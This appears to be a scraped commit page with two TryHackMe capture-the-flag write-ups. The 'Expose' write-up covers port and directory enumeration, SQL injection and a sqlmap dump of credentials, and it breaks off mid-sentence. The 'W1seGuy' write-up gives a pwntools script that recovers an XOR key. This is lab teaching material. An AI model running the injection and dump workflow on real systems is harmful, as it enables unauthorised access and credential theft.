Added W1seGuy solution
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# Expose Writeup
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This is an easy machine that teaches you enumeration and patience.
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## Enumeration
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```sh
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nmap -p- --min-rate 3000 10.10.45.72
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Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 14:25 CEST
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Nmap scan report for 10.10.45.72
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Host is up (0.064s latency).
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Not shown: 65530 closed tcp ports (conn-refused)
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PORT STATE SERVICE
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21/tcp open ftp
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22/tcp open ssh
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53/tcp open domain
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1337/tcp open waste
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1883/tcp open mqtt
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Nmap done: 1 IP address (1 host up) scanned in 23.94 seconds
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```
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### FTP
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Taking a quick look at the ftp content yields and empty directory and no interesting information
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```sh
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$ ftp anonymous@10.10.144.33
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Connected to 10.10.144.33
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220 Welcome to the Expose Web Challenge.
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331 Please specify the password.
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Password:
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230 Login successful.
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Remote system type is UNIX.
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Using binary mode to transfer files.
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ftp> ls -la
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229 Entering Extended Passive Mode (|||30302|)
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150 Here comes the directory listing.
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drwxr-xr-x 2 0 121 4096 Jun 11 11:56 .
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drwxr-xr-x 2 0 121 4096 Jun 11 11:56 ..
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226 Directory send OK.
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ftp>
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```
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### MQTT
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Taking a look at the messages sent via mqtt topics through [MQTT-Explorer](https://github.com/thomasnordquist/MQTT-Explorer/releases) shows a bunch of metrics data.
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I'll ignore this for now.
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### Web
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Next in line is web enumeration. Therefore, I'll use dirsearch.
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```sh
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$ dirsearch -r -R 5 -u 10.10.144.33:1337
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[00:43:20] Starting:
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[00:43:23] 403 - 279B - /.ht_wsr.txt
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[00:43:23] 403 - 279B - /.htaccess.bak1
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[00:43:23] 403 - 279B - /.htaccess.sample
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[00:43:23] 403 - 279B - /.htaccess.orig
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[00:43:23] 403 - 279B - /.htaccess_orig
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[00:43:23] 403 - 279B - /.htaccess.save
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[00:43:23] 403 - 279B - /.htaccess_extra
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[00:43:23] 403 - 279B - /.htaccess_sc
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[00:43:23] 403 - 279B - /.htaccessOLD
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[00:43:23] 403 - 279B - /.htaccessOLD2
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[00:43:23] 403 - 279B - /.htaccessBAK
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[00:43:23] 403 - 279B - /.html
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[00:43:23] 403 - 279B - /.htm
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[00:43:23] 403 - 279B - /.htpasswds
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[00:43:23] 403 - 279B - /.htpasswd_test
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[00:43:23] 403 - 279B - /.httr-oauth
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[00:43:24] 403 - 279B - /.php
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[00:43:32] 301 - 319B - /admin -> http://10.10.144.33:1337/admin/ (Added to queue)
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[00:43:33] 403 - 279B - /admin/.htaccess
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[00:43:33] 200 - 1KB - /admin/
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[00:43:33] 200 - 1KB - /admin/?/login
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[00:43:33] 200 - 1KB - /admin/index.php
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[00:43:35] 301 - 323B - /admin_101 -> http://10.10.144.33:1337/admin_101/ (Added to queue)
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[00:43:53] 200 - 91B - /index.php
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[00:43:53] 200 - 91B - /index.php/login/ (Added to queue)
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[00:43:54] 301 - 324B - /javascript -> http://10.10.144.33:1337/javascript/ (Added to queue)
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[00:44:00] 200 - 15KB - /phpmyadmin/doc/html/index.html
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[00:44:01] 301 - 324B - /phpmyadmin -> http://10.10.144.33:1337/phpmyadmin/
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[00:44:02] 200 - 14KB - /phpmyadmin/
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[00:44:02] 200 - 14KB - /phpmyadmin/index.php
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[00:44:05] 403 - 279B - /server-status/ (Added to queue)
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[00:44:05] 403 - 279B - /server-status
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[00:44:14] Starting: admin/
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[00:44:17] 403 - 279B - /admin/.ht_wsr.txt
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[00:44:17] 403 - 279B - /admin/.htaccess.orig
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[00:44:17] 403 - 279B - /admin/.htaccess.save
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[00:44:17] 403 - 279B - /admin/.htm
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[00:44:17] 403 - 279B - /admin/.html
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[00:44:17] 403 - 279B - /admin/.htpasswd_test
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[00:44:17] 403 - 279B - /admin/.htaccess_sc
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[00:44:17] 403 - 279B - /admin/.htpasswds
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[00:44:17] 403 - 279B - /admin/.htaccessOLD
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[00:44:17] 403 - 279B - /admin/.htaccessBAK
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[00:44:17] 403 - 279B - /admin/.htaccess_extra
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[00:44:17] 403 - 279B - /admin/.htaccess_orig
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[00:44:17] 403 - 279B - /admin/.htaccess.sample
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[00:44:17] 403 - 279B - /admin/.htaccessOLD2
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[00:44:17] 403 - 279B - /admin/.httr-oauth
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[00:44:17] 403 - 279B - /admin/.htaccess.bak1
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[00:44:18] 403 - 279B - /admin/.php
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[00:44:35] 301 - 326B - /admin/assets -> http://10.10.144.33:1337/admin/assets/ (Added to queue)
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[00:44:35] 200 - 2KB - /admin/assets/
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[00:44:45] 200 - 1KB - /admin/index.php
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[00:44:45] 200 - 1KB - /admin/index.php/login/ (Added to queue)
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[00:44:48] 500 - 0B - /admin/logout.php
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[00:44:50] 301 - 327B - /admin/modules -> http://10.10.144.33:1337/admin/modules/ (Added to queue)
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[00:44:50] 200 - 1KB - /admin/modules/
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[00:45:05] Starting: admin_101/
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[00:45:08] 403 - 279B - /admin_101/.ht_wsr.txt
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[00:45:08] 403 - 279B - /admin_101/.htaccess.bak1
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[00:45:08] 403 - 279B - /admin_101/.htaccess.orig
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[00:45:08] 403 - 279B - /admin_101/.htaccess.sample
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[00:45:08] 403 - 279B - /admin_101/.htaccessOLD2
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[00:45:08] 403 - 279B - /admin_101/.htaccess.save
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[00:45:08] 403 - 279B - /admin_101/.htaccessBAK
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[00:45:08] 403 - 279B - /admin_101/.htaccess_extra
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[00:45:08] 403 - 279B - /admin_101/.htaccess_orig
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[00:45:08] 403 - 279B - /admin_101/.htaccess_sc
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[00:45:08] 403 - 279B - /admin_101/.html
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[00:45:09] 403 - 279B - /admin_101/.htm
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[00:45:09] 403 - 279B - /admin_101/.httr-oauth
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[00:45:09] 403 - 279B - /admin_101/.htpasswds
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[00:45:09] 403 - 279B - /admin_101/.htpasswd_test
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[00:45:09] 403 - 279B - /admin_101/.htaccessOLD
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[00:45:10] 403 - 279B - /admin_101/.php
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[00:45:25] 200 - 2KB - /admin_101/assets/ (Added to queue)
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[00:45:25] 301 - 330B - /admin_101/assets -> http://10.10.144.33:1337/admin_101/assets/
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[00:45:28] 302 - 1KB - /admin_101/chat.php -> index
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[00:45:36] 301 - 332B - /admin_101/includes -> http://10.10.144.33:1337/admin_101/includes/ (Added to queue)
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[00:45:36] 200 - 1KB - /admin_101/includes/
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[00:45:36] 200 - 2KB - /admin_101/index.php
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[00:45:36] 200 - 2KB - /admin_101/index.php/login/ (Added to queue)
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[00:45:39] 302 - 0B - /admin_101/logout.php -> login
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[00:45:41] 200 - 1KB - /admin_101/modules/ (Added to queue)
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[00:45:41] 301 - 331B - /admin_101/modules -> http://10.10.144.33:1337/admin_101/modules/
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[00:45:49] 200 - 2KB - /admin_101/signup.php
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[00:45:52] 301 - 328B - /admin_101/test -> http://10.10.144.33:1337/admin_101/test/ (Added to queue)
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[00:45:52] 200 - 769B - /admin_101/test/
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[00:46:04] Starting: index.php/login/
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[00:46:56] Starting: javascript/
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[00:46:59] 403 - 279B - /javascript/.htaccess.bak1
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[00:46:59] 403 - 279B - /javascript/.ht_wsr.txt
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[00:46:59] 403 - 279B - /javascript/.htaccess.orig
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[00:46:59] 403 - 279B - /javascript/.htaccessOLD2
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[00:46:59] 403 - 279B - /javascript/.htaccessBAK
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[00:46:59] 403 - 279B - /javascript/.htaccess_sc
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[00:46:59] 403 - 279B - /javascript/.htaccess_extra
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[00:46:59] 403 - 279B - /javascript/.htaccess.save
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[00:46:59] 403 - 279B - /javascript/.htaccess.sample
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[00:46:59] 403 - 279B - /javascript/.htaccessOLD
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[00:46:59] 403 - 279B - /javascript/.htaccess_orig
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[00:46:59] 403 - 279B - /javascript/.htpasswd_test
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[00:47:00] 403 - 279B - /javascript/.htpasswds
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[00:47:00] 403 - 279B - /javascript/.htm
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[00:47:00] 403 - 279B - /javascript/.httr-oauth
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[00:47:00] 403 - 279B - /javascript/.html
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[00:47:01] 403 - 279B - /javascript/.php
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[00:47:48] Starting: server-status/
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[00:47:50] 404 - 276B - /server-status/%2e%2e//google.com
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[00:48:41] Starting: admin/assets/
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[00:48:44] 403 - 279B - /admin/assets/.ht_wsr.txt
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[00:48:44] 403 - 279B - /admin/assets/.htaccess.bak1
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[00:48:44] 403 - 279B - /admin/assets/.htaccess.orig
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[00:48:44] 403 - 279B - /admin/assets/.htaccess.save
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[00:48:44] 403 - 279B - /admin/assets/.htaccess.sample
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[00:48:44] 403 - 279B - /admin/assets/.htpasswds
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[00:48:44] 403 - 279B - /admin/assets/.httr-oauth
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[00:48:44] 403 - 279B - /admin/assets/.htaccessOLD
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[00:48:44] 403 - 279B - /admin/assets/.htaccess_extra
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[00:48:44] 403 - 279B - /admin/assets/.htaccess_orig
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[00:48:44] 403 - 279B - /admin/assets/.htaccessOLD2
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[00:48:44] 403 - 279B - /admin/assets/.htaccessBAK
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[00:48:44] 403 - 279B - /admin/assets/.htaccess_sc
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[00:48:44] 403 - 279B - /admin/assets/.html
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[00:48:44] 403 - 279B - /admin/assets/.htm
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[00:48:44] 403 - 279B - /admin/assets/.htpasswd_test
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[00:48:46] 403 - 279B - /admin/assets/.php
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[00:49:36] Starting: admin/index.php/login/
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[00:50:34] Starting: admin/modules/
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[00:50:38] 403 - 279B - /admin/modules/.htaccess.bak1
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[00:50:38] 403 - 279B - /admin/modules/.ht_wsr.txt
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[00:50:38] 403 - 279B - /admin/modules/.htaccess.sample
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[00:50:38] 403 - 279B - /admin/modules/.htaccess_extra
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[00:50:38] 403 - 279B - /admin/modules/.htaccess.orig
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[00:50:38] 403 - 279B - /admin/modules/.htaccess_sc
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[00:50:38] 403 - 279B - /admin/modules/.htaccessBAK
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[00:50:38] 403 - 279B - /admin/modules/.htaccess.save
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[00:50:38] 403 - 279B - /admin/modules/.htaccessOLD2
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[00:50:38] 403 - 279B - /admin/modules/.htaccess_orig
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[00:50:38] 403 - 279B - /admin/modules/.htm
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[00:50:38] 403 - 279B - /admin/modules/.htaccessOLD
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[00:50:38] 403 - 279B - /admin/modules/.httr-oauth
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[00:50:38] 403 - 279B - /admin/modules/.htpasswd_test
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[00:50:38] 403 - 279B - /admin/modules/.htpasswds
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[00:50:38] 403 - 279B - /admin/modules/.html
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[00:50:39] 403 - 279B - /admin/modules/.php
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[00:51:04] 200 - 16B - /admin/modules/footer.php
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[00:51:05] 200 - 628B - /admin/modules/header.php
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[00:51:29] Starting: admin_101/assets/
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccess.orig
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[00:51:33] 403 - 279B - /admin_101/assets/.ht_wsr.txt
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccess.sample
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccess.save
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccess_orig
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccessOLD2
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccessBAK
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[00:51:33] 403 - 279B - /admin_101/assets/.html
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccess_sc
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccessOLD
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[00:51:33] 403 - 279B - /admin_101/assets/.htm
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccess.bak1
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[00:51:33] 403 - 279B - /admin_101/assets/.httr-oauth
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[00:51:33] 403 - 279B - /admin_101/assets/.htpasswds
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[00:51:33] 403 - 279B - /admin_101/assets/.htpasswd_test
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[00:51:33] 403 - 279B - /admin_101/assets/.htaccess_extra
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[00:51:34] 403 - 279B - /admin_101/assets/.php
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[00:52:23] Starting: admin_101/includes/
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccess.orig
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccess.bak1
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccess.sample
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccess.save
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccessBAK
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[00:52:27] 403 - 279B - /admin_101/includes/.ht_wsr.txt
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccess_orig
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[00:52:27] 403 - 279B - /admin_101/includes/.htm
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[00:52:27] 403 - 279B - /admin_101/includes/.htpasswd_test
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccessOLD2
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccess_sc
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccess_extra
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[00:52:27] 403 - 279B - /admin_101/includes/.htaccessOLD
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[00:52:27] 403 - 279B - /admin_101/includes/.htpasswds
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[00:52:27] 403 - 279B - /admin_101/includes/.httr-oauth
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[00:52:27] 403 - 279B - /admin_101/includes/.html
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[00:52:29] 403 - 279B - /admin_101/includes/.php
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[00:53:18] Starting: admin_101/index.php/login/
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[00:54:19] Starting: admin_101/modules/
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[00:54:23] 403 - 279B - /admin_101/modules/.ht_wsr.txt
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccess.bak1
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccess.orig
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccess.sample
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccess_extra
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccess_orig
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccess.save
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccessOLD2
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccessBAK
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[00:54:23] 403 - 279B - /admin_101/modules/.html
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[00:54:23] 403 - 279B - /admin_101/modules/.htpasswd_test
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccess_sc
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[00:54:23] 403 - 279B - /admin_101/modules/.htaccessOLD
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[00:54:23] 403 - 279B - /admin_101/modules/.htm
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[00:54:23] 403 - 279B - /admin_101/modules/.htpasswds
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[00:54:23] 403 - 279B - /admin_101/modules/.httr-oauth
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[00:54:24] 403 - 279B - /admin_101/modules/.php
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[00:54:49] 200 - 16B - /admin_101/modules/footer.php
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[00:54:50] 500 - 0B - /admin_101/modules/header.php
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||||||
|
[00:55:13] Starting: admin_101/test/
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.ht_wsr.txt
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccess.orig
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccess.bak1
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccess_extra
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccess.save
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccess.sample
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccess_sc
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccess_orig
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccessOLD
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccessBAK
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htaccessOLD2
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htpasswd_test
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htm
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.html
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.htpasswds
|
||||||
|
[00:55:17] 403 - 279B - /admin_101/test/.httr-oauth
|
||||||
|
[00:55:18] 403 - 279B - /admin_101/test/.php
|
||||||
|
```
|
||||||
|
|
||||||
|
We can see two different administrational url paths. Visiting `admin_101` provides a login with a username prefilled.
|
||||||
|
Catching the response of an unsuccessful login attempt via Burpsuite shows the SQL query in JSON format.
|
||||||
|
Pretty clearly there is a possible SQL injection through the username/email parameter of the form.
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"status": "error",
|
||||||
|
"messages": [
|
||||||
|
"SELECT * FROM user WHERE email = 'hacker@root.thm'"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Using sqlmap on the file containing the stored POST request of the login provides us some passwords and paths stored in some database tables.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
sqlmap -r ./login.req --dump
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[...]
|
||||||
|
Database: expose
|
||||||
|
Table: config
|
||||||
|
[2 entries]
|
||||||
|
+----+------------------------------+-----------------------------------------------------+
|
||||||
|
| id | url | password |
|
||||||
|
+----+------------------------------+-----------------------------------------------------+
|
||||||
|
| 1 | /file1010111/index.php | 69c66901194a6486176e81f5945b8929 |
|
||||||
|
| 3 | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
|
||||||
|
+----+------------------------------+-----------------------------------------------------+
|
||||||
|
|
||||||
|
[22:53:58] [INFO] table 'expose.config' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.144.33/dump/expose/config.csv'
|
||||||
|
[22:53:58] [INFO] fetching columns for table 'user' in database 'expose'
|
||||||
|
[22:53:58] [INFO] retrieved: 'id'
|
||||||
|
[22:53:58] [INFO] retrieved: 'int'
|
||||||
|
[22:53:58] [INFO] retrieved: 'email'
|
||||||
|
[22:53:58] [INFO] retrieved: 'varchar(512)'
|
||||||
|
[22:53:58] [INFO] retrieved: 'password'
|
||||||
|
[22:53:59] [INFO] retrieved: 'varchar(512)'
|
||||||
|
[22:53:59] [INFO] retrieved: 'created'
|
||||||
|
[22:53:59] [INFO] retrieved: 'timestamp'
|
||||||
|
[22:53:59] [INFO] fetching entries for table 'user' in database 'expose'
|
||||||
|
[22:53:59] [INFO] retrieved: '2023-02-21 09:05:46'
|
||||||
|
[22:53:59] [INFO] retrieved: 'hacker@root.thm'
|
||||||
|
[22:53:59] [INFO] retrieved: '1'
|
||||||
|
[22:53:59] [INFO] retrieved: 'VeryDifficultPassword!!#@#@!#!@#1231'
|
||||||
|
Database: expose
|
||||||
|
Table: user
|
||||||
|
[1 entry]
|
||||||
|
+----+-----------------+---------------------+--------------------------------------+
|
||||||
|
| id | email | created | password |
|
||||||
|
+----+-----------------+---------------------+--------------------------------------+
|
||||||
|
| 1 | hacker@root.thm | 2023-02-21 09:05:46 | VeryDifficultPassword!!#@#@!#!@#1231 |
|
||||||
|
+----+-----------------+---------------------+--------------------------------------+
|
||||||
|
[...]
|
||||||
|
```
|
||||||
|
|
||||||
|
[Crackstation](https://crackstation.net) is able to solve the password hash of id 1 in no time.
|
||||||
|
|
||||||
|
After
|
||||||
|
|
||||||
|
|
@ -0,0 +1,122 @@
|
||||||
|
# W1seGuy
|
||||||
|
|
||||||
|
This is a solver function for the `W1seGuy` challenge of [tryhackme](https://tryhackme.com/r/room/w1seguy).
|
||||||
|
|
||||||
|
We get the implementation of the server we can connect to through the
|
||||||
|
downloaded file.
|
||||||
|
A key is a random string of alphanumeric characters with a length of 5.
|
||||||
|
We can take a look an see that there a key xored with the flag.
|
||||||
|
To execute the xor function the key has to be at the length of the flag. This
|
||||||
|
is achieved through the modulo over the length of the key. After the key has
|
||||||
|
been xored the resulting bytestring is changed to a hex representation.
|
||||||
|
|
||||||
|
We need to find out the key to xor it with the result we are given by the
|
||||||
|
server after we have been connected.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import random
|
||||||
|
import socketserver
|
||||||
|
import socket, os
|
||||||
|
import string
|
||||||
|
|
||||||
|
flag = open('flag.txt','r').read().strip()
|
||||||
|
|
||||||
|
def send_message(server, message):
|
||||||
|
enc = message.encode()
|
||||||
|
server.send(enc)
|
||||||
|
|
||||||
|
def setup(server, key):
|
||||||
|
flag = 'THM{thisisafakeflag}'
|
||||||
|
xored = ""
|
||||||
|
|
||||||
|
for i in range(0,len(flag)):
|
||||||
|
xored += chr(ord(flag[i]) ^ ord(key[i%len(key)]))
|
||||||
|
|
||||||
|
hex_encoded = xored.encode().hex()
|
||||||
|
return hex_encoded
|
||||||
|
|
||||||
|
def start(server):
|
||||||
|
res = ''.join(random.choices(string.ascii_letters + string.digits, k=5))
|
||||||
|
key = str(res)
|
||||||
|
hex_encoded = setup(server, key)
|
||||||
|
send_message(server, "This XOR encoded text has flag 1: " + hex_encoded + "\n")
|
||||||
|
print(hex_encoded)
|
||||||
|
|
||||||
|
send_message(server,"What is the encryption key? ")
|
||||||
|
key_answer = server.recv(4096).decode().strip()
|
||||||
|
|
||||||
|
try:
|
||||||
|
if key_answer == key:
|
||||||
|
send_message(server, "Congrats! That is the correct key! Here is flag 2: " + flag + "\n")
|
||||||
|
server.close()
|
||||||
|
else:
|
||||||
|
send_message(server, 'Close but no cigar' + "\n")
|
||||||
|
server.close()
|
||||||
|
except:
|
||||||
|
send_message(server, "Something went wrong. Please try again. :)\n")
|
||||||
|
server.close()
|
||||||
|
|
||||||
|
class RequestHandler(socketserver.BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
start(self.request)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
socketserver.ThreadingTCPServer.allow_reuse_address = True
|
||||||
|
server = socketserver.ThreadingTCPServer(('0.0.0.0', 1337), RequestHandler)
|
||||||
|
server.serve_forever()
|
||||||
|
```
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
We need 5 characters to rebuild the key and solve the flag.
|
||||||
|
We know the flag starts with the chars `THM{` and ends with `}`, in total 5
|
||||||
|
characters.
|
||||||
|
|
||||||
|
That is enough information. We connect to the server, get the hexed and xored
|
||||||
|
flag. It is reversed to its bytestring representation and xored with a random
|
||||||
|
key. When the string `THM{` is found we've got 4 out of 5 characters of the
|
||||||
|
key. The fifth is found through iterating the alphanumeric string and xoring
|
||||||
|
the key with the flag again.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import sys
|
||||||
|
from pwn import *
|
||||||
|
import binascii
|
||||||
|
import string
|
||||||
|
import random
|
||||||
|
|
||||||
|
def solve():
|
||||||
|
p = remote(sys.argv[1], 1337)
|
||||||
|
r = p.recv().strip().split()
|
||||||
|
p.recv()
|
||||||
|
alpha = string.ascii_letters + string.digits
|
||||||
|
|
||||||
|
hex_encoded = r[7].decode()
|
||||||
|
print(f"Got flag 1: {hex_encoded}")
|
||||||
|
|
||||||
|
hex_decoded = binascii.unhexlify(hex_encoded).decode()
|
||||||
|
print(f"Unhexed Key is: {hex_decoded} with a length of {len(hex_decoded)}")
|
||||||
|
|
||||||
|
while True:
|
||||||
|
_res = ''
|
||||||
|
_key = str(''.join(random.choices(alpha, k=5)))
|
||||||
|
_key = _key * (len(hex_decoded) // 5 )
|
||||||
|
for i in range(0, len(hex_decoded)):
|
||||||
|
_res += chr(ord(hex_decoded[i]) ^ ord(_key[i%len(_key)]))
|
||||||
|
if _res.startswith("THM{"):
|
||||||
|
for char in alpha:
|
||||||
|
res = ''
|
||||||
|
key = _key[:4] + char
|
||||||
|
key = key * (len(hex_decoded) // 5)
|
||||||
|
for i in range(0, len(hex_decoded)):
|
||||||
|
res += chr(ord(hex_decoded[i]) ^ ord(key[i%len(key)]))
|
||||||
|
if res.endswith('}'):
|
||||||
|
print("Flag 1: " + res)
|
||||||
|
print("Key: " + key[:5])
|
||||||
|
p.send(key[:5].encode())
|
||||||
|
print(p.recv().decode())
|
||||||
|
return
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
solve()
|
||||||
|
```
|
||||||
Loading…
Reference in New Issue